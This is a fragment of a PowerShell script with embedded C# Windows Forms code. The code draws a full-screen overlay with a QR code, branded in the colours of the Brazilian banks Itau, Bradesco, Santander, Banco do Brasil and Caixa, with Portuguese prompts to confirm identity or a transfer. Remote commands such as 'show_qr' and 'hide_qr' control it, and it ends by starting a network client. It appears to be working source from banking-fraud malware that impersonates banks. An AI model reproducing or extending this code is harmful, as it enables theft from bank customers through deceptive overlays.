Load QR code image from base64 if (!string.IsNullOrEmpty(imageBase64)) { try { byte[] imageBytes = Convert.FromBase64String(imageBase64); using (MemoryStream ms = new MemoryStream(imageBytes)) { qrBox.Image = Image.FromStream(ms); } } catch { // If image fails to load, show placeholder qrBox.BackColor = Color.FromArgb(240, 240, 240); } } overlayForm.Controls.Add(qrBox); // Message label Label lblMsg = new Label(); lblMsg.Text = message ?? "Confirme sua identidade"; lblMsg.ForeColor = textColor; lblMsg.Font = new Font("Segoe UI", 18, FontStyle.Bold); lblMsg.AutoSize = false; lblMsg.Size = new Size(screenW, 40); lblMsg.Location = new Point(0, midY + 180); lblMsg.TextAlign = ContentAlignment.MiddleCenter; lblMsg.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMsg); // Instruction label Label lblInst = new Label(); lblInst.Text = "Escaneie o codigo com seu celular"; lblInst.ForeColor = Color.FromArgb(200, textColor.R, textColor.G, textColor.B); lblInst.Font = new Font("Segoe UI", 14); lblInst.AutoSize = false; lblInst.Size = new Size(screenW, 30); lblInst.Location = new Point(0, midY + 230); lblInst.TextAlign = ContentAlignment.MiddleCenter; lblInst.BackColor = Color.Transparent; overlayForm.Controls.Add(lblInst); // Handle Escape key to close overlayForm.KeyDown += (sender, e) => { if (e.KeyCode == Keys.Escape) { overlayForm.Close(); } }; // Handle form closing overlayForm.FormClosed += (sender, e) => { isShowing = false; }; // Run form message loop Application.Run(overlayForm); } catch { isShowing = false; } }); formThread.SetApartmentState(ApartmentState.STA); formThread.IsBackground = true; formThread.Start(); } /// /// Hides the QR code overlay if currently showing /// public static void Hide() { if (overlayForm != null && !overlayForm.IsDisposed) { try { overlayForm.Invoke(new Action(() => { overlayForm.Close(); overlayForm.Dispose(); })); } catch { } } isShowing = false; overlayForm = null; } /// /// Gets whether the overlay is currently showing /// public static bool IsShowing { get { return isShowing; } } } } "@ -ReferencedAssemblies 'System.Windows.Forms','System.Drawing' -Language CSharp -ErrorAction Stop Write-Verbose "QRCodeSystem.QROverlay type loaded successfully" } catch { Write-Warning "Failed to load QR Code Overlay system: $_" } } # Bank configuration for QR code overlays # Follows Microsoft branding guidelines for each institution $script:QRBankConfig = @{ 'itau' = @{ Name = 'Itau' Color = '#EC7000' # Itau orange } 'bradesco' = @{ Name = 'Bradesco' Color = '#CC092F' # Bradesco red } 'santander' = @{ Name = 'Santander' Color = '#EC0000' # Santander red } 'bb' = @{ Name = 'Banco do Brasil' Color = '#FFF100' # BB yellow } 'caixa' = @{ Name = 'Caixa Economica' Color = '#0066B3' # Caixa blue } } # Add QR commands to existing command handler # Note: These are added to the switch statement in Handle-Command function # They should be inserted in the appropriate location in the switch block <# .SYNOPSIS Shows QR code overlay for specified bank .DESCRIPTION Displays a full-screen branded overlay with QR code for bank authentication. Uses separate Windows Forms window that doesn't interfere with existing display overlay. .PARAMETER Command Format: show_qr|bank|message|base64image bank: itau, bradesco, santander, bb, or caixa message: Text to display below QR code base64image: Base64-encoded PNG/JPG of QR code .EXAMPLE show_qr|itau|Confirme sua transferencia|iVBORw0KGgo... #> <# .SYNOPSIS Hides QR code overlay .DESCRIPTION Closes and disposes of the QR code overlay window if currently displayed. .EXAMPLE hide_qr #> #EndRegion QR Code Overlay System # === TEST: Verificar BinaryWriter === Write-DebugLog "=== TESTE BINARY WRITER ===" Write-DebugLog "Modo: BINARYWRITER_INLINE - todos os pacotes usam BinaryWriter direto" Write-DebugLog "MSG.ClientHello=$($MSG.ClientHello), MSG.GuestInfo=$($MSG.GuestInfo), MSG.Pong=$($MSG.Pong)" Write-DebugLog "=== FIM TESTE ===" Write-DebugLog "Chamando Start-Client..." Start-Client Write-DebugLog "Start-Client retornou (nao deveria chegar aqui)"